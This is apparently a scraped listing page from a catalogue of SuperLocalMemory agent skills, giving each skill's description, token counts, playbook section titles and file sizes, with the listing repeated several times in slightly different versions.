Memory profiles (separate namespaces inside one SuperLocalMemory store) and MCP tool sets (which tools your host sees). Use switch_profile or slm profile switch to change the active memory profile, the profile_id argument to read or write another profile for one call, and `slm tools set <name>` to choose the tool set every connected app sees. Required when working across multiple projects, clients, or tenants.
What it loads into context
Frontmatter
205 tokensAlways available to the agent
SKILL.md
2,090 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Memory profiles
- MCP tool sets
- If a tool is missing
- Related skills
Files
SKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-recall
When your agent uses it
Search and retrieve facts, decisions, and past context from SuperLocalMemory. Use when the user asks to recall, find, search, or "what did we decide/say about X". Triggers multi-channel semantic retrieval with reranking; always call before storing anything new.
What it loads into context
Frontmatter
173 tokensAlways available to the agent
SKILL.md
6,399 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use recall vs search vs fetch vs list_recent
- Recall-before-remember discipline
- MCP-first workflow
- How multi-channel retrieval works
- CLI fallback (when MCP is unavailable)
- Never fabricate a memory
- Shared and global memories (opt-in)
- Profile-aware retrieval
- Related skills
Files
../../../docs/shared-memory.mddoc4,412 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-remember
When your agent uses it
Capture durable facts, decisions, constraints, and gotchas into SuperLocalMemory. Use when the user says "remember that", "save this decision", "note this constraint", or when a session produces a conclusion worth persisting across sessions. Always recall first to avoid duplicates.
What it loads into context
Frontmatter
185 tokensAlways available to the agent
SKILL.md
3,945 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What to store (and what not to)
- Recall-before-remember (mandatory discipline)
- MCP-first workflow
- Deleting stale facts
- CLI fallback (when MCP is unavailable)
- Update vs forget discipline
- Sharing across profiles (opt-in)
- Profile-aware storage
- Related skills
Files
../../../docs/shared-memory.mddoc4,412 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-scope
When your agent uses it
Controls memory visibility across profiles — personal (private, default), shared (selected profiles), or global (all profiles on this machine). Default is always personal. Only change scope when the user explicitly asks to share a memory across workspaces. Works with both remember (write scope) and recall (read scope flags).
What it loads into context
Frontmatter
167 tokensAlways available to the agent
SKILL.md
1,473 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The Three Scopes
- Opt-in is mandatory
- Writing a shared or global fact
- Reading shared or global facts
- Configuring scope defaults
- Enterprise governance
- Scope deletion and retention
- Related skills
Files
SKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-session
When your agent uses it
Manage SuperLocalMemory session lifecycle — call session_init once at the start of every fresh session to load relevant project context and get a session_id; call close_session when work is meaningfully complete to commit temporal summaries. Correct lifecycle hygiene is what makes SLM's learning loop work.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
2,834 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The lifecycle in one diagram
- session_init — call once per fresh session
- close_session — call when work is meaningfully complete
- Why this matters
- CLI fallback (when MCP is unavailable)
- Common mistakes
- Profile context
- Related skills
Files
SKILL.mdcore11,528 bytesSKILL.mdcore11,528 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-status
When your agent uses it
Health and optimization stats for SuperLocalMemory — call slm_optimize_stats() for live compression and cache counters (compress_runs, tokens_saved_compress, cache_proxy_hits, cache_proxy_misses, cache_kv_hits, cache_kv_misses); run slm status [--json] for system state (mode, profile, DB size, fact/entity/edge counts) and slm doctor [--json] for preflight including the "Optimize (Surface B)" health line; use together to confirm optimization is actually saving tokens.
What it loads into context
Frontmatter
229 tokensAlways available to the agent
SKILL.md
3,023 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_optimize_stats
- Secondary CLI: slm status
- Secondary CLI: slm doctor
- Secondary CLI: slm optimize status
- Store health and recovery
- Memory health: SLM looks after older memories
- Pictures and documents: status and repair
- Recommended Health Workflow
- Fail-Open
- Profile-aware status
- Related skills
Files
SKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-web-access
When your agent uses it
Set up and troubleshoot SuperLocalMemory Web access, the optional link that lets web apps (ChatGPT, Claude on the web, Muse, Composio, other remote MCP clients) use the memory on this computer. Covers turning it on from the dashboard, adding and removing apps, read/save/session permissions, the second yes for bot messages and pictures (the Web access switches in Connected apps), one-time upload links for pictures and PDFs, what leaves the computer, renewal, the connection states, the errors a web app can see, and the copy-paste instructions for web agents.
What it loads into context
Frontmatter
235 tokensAlways available to the agent
SKILL.md
2,516 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What it is
- Turning it on (the owner does this, in the dashboard)
- What a web app can call
- The second yes: Web access switches
- Adding a picture or PDF from a web app
- What leaves the computer
- Instructions for the web agent
- Renewal
- When a web app reports an error
- Removing an app
- Related skills
Files
SKILL.mdcore10,171 bytesSKILL.mdcore10,171 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-bot-memory
When your agent uses it
Cross-bot memory on a shared computer (Grok Bot, Cursor plugin, any host where several agents share one machine). Explains agent_id attribution vs. profile/scope access, how to namespace by agent_id + profile + scope, and what must never be written to memory. Read this before the first remember/recall on a new Grok-Bot-style host.
What it loads into context
Frontmatter
217 tokensAlways available to the agent
SKILL.md
2,286 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Three things that sound like isolation and are not the same
- Namespacing that actually works
- What never goes into memory, on any host
- Bots that talk to each other, and bots on the web
- Checklist for a new bot on an existing shared host
- Related skills
Files
SKILL.mdcore9,187 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-cache
When your agent uses it
KV cache for repeated reads — call slm_cache_get(key) first; on a miss do the expensive operation then slm_cache_set(key, value, ttl_seconds) to store it; on a hit use the returned value directly; always fail-open (hit:false on any error, never raises); saves tokens when the same file, query result, or tool output is read more than once in a session.
What it loads into context
Frontmatter
129 tokensAlways available to the agent
SKILL.md
1,617 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Tool: slm_cache_set
- Tool: slm_cache_get
- Standard Pattern: Cache-Aside
- Key Naming Convention
- When Caching Pays Off
- Fail-Open Guarantee
- TTL Guidance
- Secondary CLI (fallback when MCP is unavailable)
- Related skills
Files
SKILL.mdcore6,345 bytesSKILL.mdcore6,345 bytesSKILL.mdcore6,345 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-compress
When your agent uses it
Compress large text, tool output, or transcripts to reduce context-window usage while keeping the full 1M window intact — call slm_compress(content, mode, reversible, ttl_seconds) to shrink content; if the result is lossy a ccr_id is returned so you can call slm_retrieve(ccr_id) later to recover the exact original; always fail-open (ok:false → continue with the original).
What it loads into context
Frontmatter
128 tokensAlways available to the agent
SKILL.md
1,593 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_compress
- Recovery Tool: slm_retrieve
- Decision: When to Compress
- Fail-Open Guarantee
- Worked Example
- Secondary CLI (fallback when MCP is unavailable)
- Size Cap
- Related skills
Files
SKILL.mdcore6,226 bytesSKILL.mdcore6,226 bytesSKILL.mdcore6,226 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-getting-started-bot
When your agent uses it
First-session orientation for SuperLocalMemory on a headless bot host (Grok Bot, or any Cursor-format plugin install with no hooks, no dashboard, and no interactive setup wizard). What is different here vs. Claude Code/Codex, which 19 tools are actually available, and the first three calls to make.
What it loads into context
Frontmatter
191 tokensAlways available to the agent
SKILL.md
2,419 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is NOT available here
- What IS available: the core profile (19 tools)
- Pictures, PDFs and bot messages are not in this tool set
- If this bot reaches SLM through Web access instead
- The first three calls on a new host
- Cold start is slower here than on a warm laptop
- This host already runs the lite bot-host profile
- Troubleshooting
- Related skills
Files
SKILL.mdcore9,636 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-governance
When your agent uses it
Governed-workspace behavior for SuperLocalMemory. Covers roles (admin/member/viewer) and company mode, who administers a company-mode workspace (a signed-in admin, or `slm team` on the SLM computer), `slm token show` in strict mode, what remote web apps can never see or change, retention and lifecycle settings, the audit trail, GDPR export and erasure, and how agents must behave when operating under workspace governance. The audit and retention tools need the power MCP profile. Agents must never bypass governance controls.
What it loads into context
Frontmatter
252 tokensAlways available to the agent
SKILL.md
2,968 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role model
- Who administers a company-mode workspace
- require-login
- Retention and lifecycle
- Audit trail
- GDPR
- Scope enforcement in governed workspaces
- Integrity checks
- Agent checklist for governed workspaces
- Related skills
Files
SKILL.mdcore12,163 bytesSKILL.mdcore12,163 bytesSKILL.mdcore12,163 bytesSKILL.mdcore12,163 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-graph
When your agent uses it
Index and query a codebase as a structural graph — build the code graph, trace blast radius of a change, find callers/callees/inheritors, semantic code search by meaning, assemble PR review context, and detect what changed since last index. Use when the user asks how code connects, what breaks if X changes, what calls a function, what a class inherits from, how to navigate an unfamiliar codebase, or to understand risk before editing.
What it loads into context
Frontmatter
177 tokensAlways available to the agent
SKILL.md
2,986 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Reference
- Realistic Workflow
- Error Handling
- Tool set requirement
- Related skills
Files
SKILL.mdcore12,088 bytesSKILL.mdcore12,088 bytesSKILL.mdcore12,088 bytesSKILL.mdcore12,088 bytesSKILL.mdcore12,088 bytesSKILL.mdcore12,088 bytesSKILL.mdcore12,088 bytesSKILL.mdcore12,088 bytesSKILL.mdcore12,088 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-loop
When your agent uses it
Gate-verified bounded loops with SuperLocalMemory as the durable ledger. Use when a task has a checkable acceptance condition and you must iterate until an INDEPENDENT gate passes — never stopping because the agent believes it is done. `slm_loop_run` (MCP) waits, under hard bounds, for an independently executed check registered by the operator to pass; `slm loop demo` shows the control flow keyless; `slm loop history` and `slm loop show <run_id>` (or `slm_loop_history` / `slm_loop_show`) inspect past runs, whose every lap is stored as queryable SLM memory (tag `loop:<name>`). Terminal statuses are DONE / HALT / PAUSE / KILLED / ERROR — report them exactly, never converting HALT/PAUSE/ERROR into success.
What it loads into context
Frontmatter
238 tokensAlways available to the agent
SKILL.md
2,367 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The one rule
- What SLM runs, and what you run
- What SLM adds
- MCP: `slm_loop_run`
- CLI
- The bounds
- Terminal statuses — report exactly
- Reporting workflow
- Gate discipline
- The learning brain around loops
- Related skills
Files
SKILL.mdcore9,275 bytesSKILL.mdcore9,275 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-media
When your agent uses it
Save pictures and PDFs in SuperLocalMemory and find them again by describing them. Covers when to save a picture or document, remember_media, remember_document, get_media, media_status and media_upload_link, how recall returns pictures and PDF pages, the limits, what stays private, turning the feature on with `slm media` (16 GB of memory needed), connecting folders with `slm sources`, and how web apps add files through one-time upload links. Off by default.
What it loads into context
Frontmatter
239 tokensAlways available to the agent
SKILL.md
3,907 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to save a picture or a PDF
- Are the tools there?
- Tool reference
- How recall returns pictures and pages
- Limits
- Privacy: what stays and what leaves
- Web apps: two yeses, then an upload link
- Folders and Obsidian vaults
- Upgrade memory engine (preview)
- Related skills
Files
SKILL.mdcore15,305 bytesSKILL.mdcore15,305 bytesSKILL.mdcore15,305 bytesSKILL.mdcore15,305 bytesSKILL.mdcore15,305 bytesSKILL.mdcore15,305 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-mesh
When your agent uses it
Cross-session peer coordination via the SLM mesh network. Lets multiple AI agent sessions on the same machine, and web apps the owner has allowed (ChatGPT, Claude on the web, Grok Bot, Muse, Composio), discover each other, send messages, wait for replies with mesh_wait, share lightweight state, and lock files to avoid conflicts. Covers the at-least-once delivery rule for web apps (pass ack_ids back as ack) and the two permissions a web app needs. Available in the default tool set and in the full, power and mesh MCP profiles. Only `slm mesh status` and `slm mesh peers` exist on the command line; the other tools are MCP-only.
What it loads into context
Frontmatter
306 tokensAlways available to the agent
SKILL.md
3,654 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Profile requirement
- Tool reference
- Web apps on the mesh
- Common workflow: parallel agents coordinating on a shared repo
- Mesh vs memory: when to use which
- Error handling
- Related skills
Files
SKILL.mdcore14,576 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-profile
When your agent uses it
Memory profiles (separate namespaces inside one SuperLocalMemory store) and MCP tool sets (which tools your host sees). Use switch_profile or slm profile switch to change the active memory profile, the profile_id argument to read or write another profile for one call, and `slm tools set <name>` to choose the tool set every connected app sees. Required when working across multiple projects, clients, or tenants.
What it loads into context
Frontmatter
190 tokensAlways available to the agent
SKILL.md
2,076 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Memory profiles
- MCP tool sets
- If a tool is missing
- Related skills
Files
SKILL.mdcore8,253 bytesSKILL.mdcore8,253 bytesSKILL.mdcore8,253 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-recall
When your agent uses it
Search and retrieve facts, decisions, and past context from SuperLocalMemory. Use when the user asks to recall, find, search, or "what did we decide/say about X". Triggers multi-channel semantic retrieval with reranking; always call before storing anything new.
What it loads into context
Frontmatter
139 tokensAlways available to the agent
SKILL.md
6,366 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use recall vs search vs fetch vs list_recent
- Recall-before-remember discipline
- MCP-first workflow
- How multi-channel retrieval works
- CLI fallback (when MCP is unavailable)
- Never fabricate a memory
- Shared and global memories (opt-in)
- Profile-aware retrieval
- Related skills
Files
../../../docs/shared-memory.mddoc4,412 bytesSKILL.mdcore25,197 bytesSKILL.mdcore25,197 bytesSKILL.mdcore25,197 bytesSKILL.mdcore25,197 bytesSKILL.mdcore25,197 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-remember
When your agent uses it
Capture durable facts, decisions, constraints, and gotchas into SuperLocalMemory. Use when the user says "remember that", "save this decision", "note this constraint", or when a session produces a conclusion worth persisting across sessions. Always recall first to avoid duplicates.
What it loads into context
Frontmatter
143 tokensAlways available to the agent
SKILL.md
3,904 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What to store (and what not to)
- Recall-before-remember (mandatory discipline)
- MCP-first workflow
- Deleting stale facts
- CLI fallback (when MCP is unavailable)
- Update vs forget discipline
- Sharing across profiles (opt-in)
- Profile-aware storage
- Related skills
Files
../../../docs/shared-memory.mddoc4,412 bytesSKILL.mdcore15,506 bytesSKILL.mdcore15,506 bytesSKILL.mdcore15,506 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-scope
When your agent uses it
Controls memory visibility across profiles — personal (private, default), shared (selected profiles), or global (all profiles on this machine). Default is always personal. Only change scope when the user explicitly asks to share a memory across workspaces. Works with both remember (write scope) and recall (read scope flags).
What it loads into context
Frontmatter
149 tokensAlways available to the agent
SKILL.md
1,456 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The Three Scopes
- Opt-in is mandatory
- Writing a shared or global fact
- Reading shared or global facts
- Configuring scope defaults
- Enterprise governance
- Scope deletion and retention
- Related skills
Files
SKILL.mdcore6,172 bytesSKILL.mdcore6,172 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-session
When your agent uses it
Manage SuperLocalMemory session lifecycle — call session_init once at the start of every fresh session to load relevant project context and get a session_id; call close_session when work is meaningfully complete to commit temporal summaries. Correct lifecycle hygiene is what makes SLM's learning loop work.
What it loads into context
Frontmatter
133 tokensAlways available to the agent
SKILL.md
2,820 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The lifecycle in one diagram
- session_init — call once per fresh session
- close_session — call when work is meaningfully complete
- Why this matters
- CLI fallback (when MCP is unavailable)
- Common mistakes
- Profile context
- Related skills
Files
SKILL.mdcore11,472 bytesSKILL.mdcore11,472 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-status
When your agent uses it
Health and optimization stats for SuperLocalMemory — call slm_optimize_stats() for live compression and cache counters (compress_runs, tokens_saved_compress, cache_proxy_hits, cache_proxy_misses, cache_kv_hits, cache_kv_misses); run slm status [--json] for system state (mode, profile, DB size, fact/entity/edge counts) and slm doctor [--json] for preflight including the "Optimize (Surface B)" health line; use together to confirm optimization is actually saving tokens.
What it loads into context
Frontmatter
205 tokensAlways available to the agent
SKILL.md
2,999 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_optimize_stats
- Secondary CLI: slm status
- Secondary CLI: slm doctor
- Secondary CLI: slm optimize status
- Store health and recovery
- Memory health: SLM looks after older memories
- Pictures and documents: status and repair
- Recommended Health Workflow
- Fail-Open
- Profile-aware status
- Related skills
Files
SKILL.mdcore12,468 bytesSKILL.mdcore12,468 bytesSKILL.mdcore12,468 bytesSKILL.mdcore12,468 bytesSKILL.mdcore12,468 bytesSKILL.mdcore12,468 bytesSKILL.mdcore12,468 bytesSKILL.mdcore12,468 bytesSKILL.mdcore12,468 bytesSKILL.mdcore12,468 bytesSKILL.mdcore12,468 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-web-access
When your agent uses it
Set up and troubleshoot SuperLocalMemory Web access, the optional link that lets web apps (ChatGPT, Claude on the web, Muse, Composio, other remote MCP clients) use the memory on this computer. Covers turning it on from the dashboard, adding and removing apps, read/save/session permissions, the second yes for bot messages and pictures (the Web access switches in Connected apps), one-time upload links for pictures and PDFs, what leaves the computer, renewal, the connection states, the errors a web app can see, and the copy-paste instructions for web agents.
What it loads into context
Frontmatter
222 tokensAlways available to the agent
SKILL.md
2,503 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What it is
- Turning it on (the owner does this, in the dashboard)
- What a web app can call
- The second yes: Web access switches
- Adding a picture or PDF from a web app
- What leaves the computer
- Instructions for the web agent
- Renewal
- When a web app reports an error
- Removing an app
- Related skills
Files
SKILL.mdcore10,126 bytesSKILL.mdcore10,126 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-bot-memory
When your agent uses it
Cross-bot memory on a shared computer (Grok Bot, Cursor plugin, any host where several agents share one machine). Explains agent_id attribution vs. profile/scope access, how to namespace by agent_id + profile + scope, and what must never be written to memory. Read this before the first remember/recall on a new Grok-Bot-style host.
What it loads into context
Frontmatter
232 tokensAlways available to the agent
SKILL.md
2,301 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Three things that sound like isolation and are not the same
- Namespacing that actually works
- What never goes into memory, on any host
- Bots that talk to each other, and bots on the web
- Checklist for a new bot on an existing shared host
- Related skills
Files
SKILL.mdcore9,257 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-cache
When your agent uses it
KV cache for repeated reads — call slm_cache_get(key) first; on a miss do the expensive operation then slm_cache_set(key, value, ttl_seconds) to store it; on a hit use the returned value directly; always fail-open (hit:false on any error, never raises); saves tokens when the same file, query result, or tool output is read more than once in a session.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
1,635 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Tool: slm_cache_set
- Tool: slm_cache_get
- Standard Pattern: Cache-Aside
- Key Naming Convention
- When Caching Pays Off
- Fail-Open Guarantee
- TTL Guidance
- Secondary CLI (fallback when MCP is unavailable)
- Related skills
Files
SKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-compress
When your agent uses it
Compress large text, tool output, or transcripts to reduce context-window usage while keeping the full 1M window intact — call slm_compress(content, mode, reversible, ttl_seconds) to shrink content; if the result is lossy a ccr_id is returned so you can call slm_retrieve(ccr_id) later to recover the exact original; always fail-open (ok:false → continue with the original).
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
1,611 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_compress
- Recovery Tool: slm_retrieve
- Decision: When to Compress
- Fail-Open Guarantee
- Worked Example
- Secondary CLI (fallback when MCP is unavailable)
- Size Cap
- Related skills
Files
SKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-getting-started-bot
When your agent uses it
First-session orientation for SuperLocalMemory on a headless bot host (Grok Bot, or any Cursor-format plugin install with no hooks, no dashboard, and no interactive setup wizard). What is different here vs. Claude Code/Codex, which 19 tools are actually available, and the first three calls to make.
What it loads into context
Frontmatter
204 tokensAlways available to the agent
SKILL.md
2,432 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is NOT available here
- What IS available: the core profile (19 tools)
- Pictures, PDFs and bot messages are not in this tool set
- If this bot reaches SLM through Web access instead
- The first three calls on a new host
- Cold start is slower here than on a warm laptop
- This host already runs the lite bot-host profile
- Troubleshooting
- Related skills
Files
SKILL.mdcore9,698 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-governance
When your agent uses it
Governed-workspace behavior for SuperLocalMemory. Covers roles (admin/member/viewer) and company mode, who administers a company-mode workspace (a signed-in admin, or `slm team` on the SLM computer), `slm token show` in strict mode, what remote web apps can never see or change, retention and lifecycle settings, the audit trail, GDPR export and erasure, and how agents must behave when operating under workspace governance. The audit and retention tools need the power MCP profile. Agents must never bypass governance controls.
What it loads into context
Frontmatter
293 tokensAlways available to the agent
SKILL.md
3,008 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role model
- Who administers a company-mode workspace
- require-login
- Retention and lifecycle
- Audit trail
- GDPR
- Scope enforcement in governed workspaces
- Integrity checks
- Agent checklist for governed workspaces
- Related skills
Files
SKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-graph
When your agent uses it
Index and query a codebase as a structural graph — build the code graph, trace blast radius of a change, find callers/callees/inheritors, semantic code search by meaning, assemble PR review context, and detect what changed since last index. Use when the user asks how code connects, what breaks if X changes, what calls a function, what a class inherits from, how to navigate an unfamiliar codebase, or to understand risk before editing.
What it loads into context
Frontmatter
209 tokensAlways available to the agent
SKILL.md
3,017 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Reference
- Realistic Workflow
- Error Handling
- Tool set requirement
- Related skills
Files
SKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-loop
When your agent uses it
Gate-verified bounded loops with SuperLocalMemory as the durable ledger. Use when a task has a checkable acceptance condition and you must iterate until an INDEPENDENT gate passes — never stopping because the agent believes it is done. `slm_loop_run` (MCP) waits, under hard bounds, for an independently executed check registered by the operator to pass; `slm loop demo` shows the control flow keyless; `slm loop history` and `slm loop show <run_id>` (or `slm_loop_history` / `slm_loop_show`) inspect past runs, whose every lap is stored as queryable SLM memory (tag `loop:<name>`). Terminal statuses are DONE / HALT / PAUSE / KILLED / ERROR — report them exactly, never converting HALT/PAUSE/ERROR into success.
What it loads into context
Frontmatter
289 tokensAlways available to the agent
SKILL.md
2,418 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The one rule
- What SLM runs, and what you run
- What SLM adds
- MCP: `slm_loop_run`
- CLI
- The bounds
- Terminal statuses — report exactly
- Reporting workflow
- Gate discipline
- The learning brain around loops
- Related skills
Files
SKILL.mdcore9,465 bytesSKILL.mdcore9,465 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-media
When your agent uses it
Save pictures and PDFs in SuperLocalMemory and find them again by describing them. Covers when to save a picture or document, remember_media, remember_document, get_media, media_status and media_upload_link, how recall returns pictures and PDF pages, the limits, what stays private, turning the feature on with `slm media` (16 GB of memory needed), connecting folders with `slm sources`, and how web apps add files through one-time upload links. Off by default.
What it loads into context
Frontmatter
265 tokensAlways available to the agent
SKILL.md
3,933 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to save a picture or a PDF
- Are the tools there?
- Tool reference
- How recall returns pictures and pages
- Limits
- Privacy: what stays and what leaves
- Web apps: two yeses, then an upload link
- Folders and Obsidian vaults
- Upgrade memory engine (preview)
- Related skills
Files
SKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-mesh
When your agent uses it
Cross-session peer coordination via the SLM mesh network. Lets multiple AI agent sessions on the same machine, and web apps the owner has allowed (ChatGPT, Claude on the web, Grok Bot, Muse, Composio), discover each other, send messages, wait for replies with mesh_wait, share lightweight state, and lock files to avoid conflicts. Covers the at-least-once delivery rule for web apps (pass ack_ids back as ack) and the two permissions a web app needs. Available in the default tool set and in the full, power and mesh MCP profiles. Only `slm mesh status` and `slm mesh peers` exist on the command line; the other tools are MCP-only.
What it loads into context
Frontmatter
344 tokensAlways available to the agent
SKILL.md
3,691 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Profile requirement
- Tool reference
- Web apps on the mesh
- Common workflow: parallel agents coordinating on a shared repo
- Mesh vs memory: when to use which
- Error handling
- Related skills
Files
SKILL.mdcore14,712 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-profile
When your agent uses it
Memory profiles (separate namespaces inside one SuperLocalMemory store) and MCP tool sets (which tools your host sees). Use switch_profile or slm profile switch to change the active memory profile, the profile_id argument to read or write another profile for one call, and `slm tools set <name>` to choose the tool set every connected app sees. Required when working across multiple projects, clients, or tenants.
What it loads into context
Frontmatter
205 tokensAlways available to the agent
SKILL.md
2,090 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Memory profiles
- MCP tool sets
- If a tool is missing
- Related skills
Files
SKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-recall
When your agent uses it
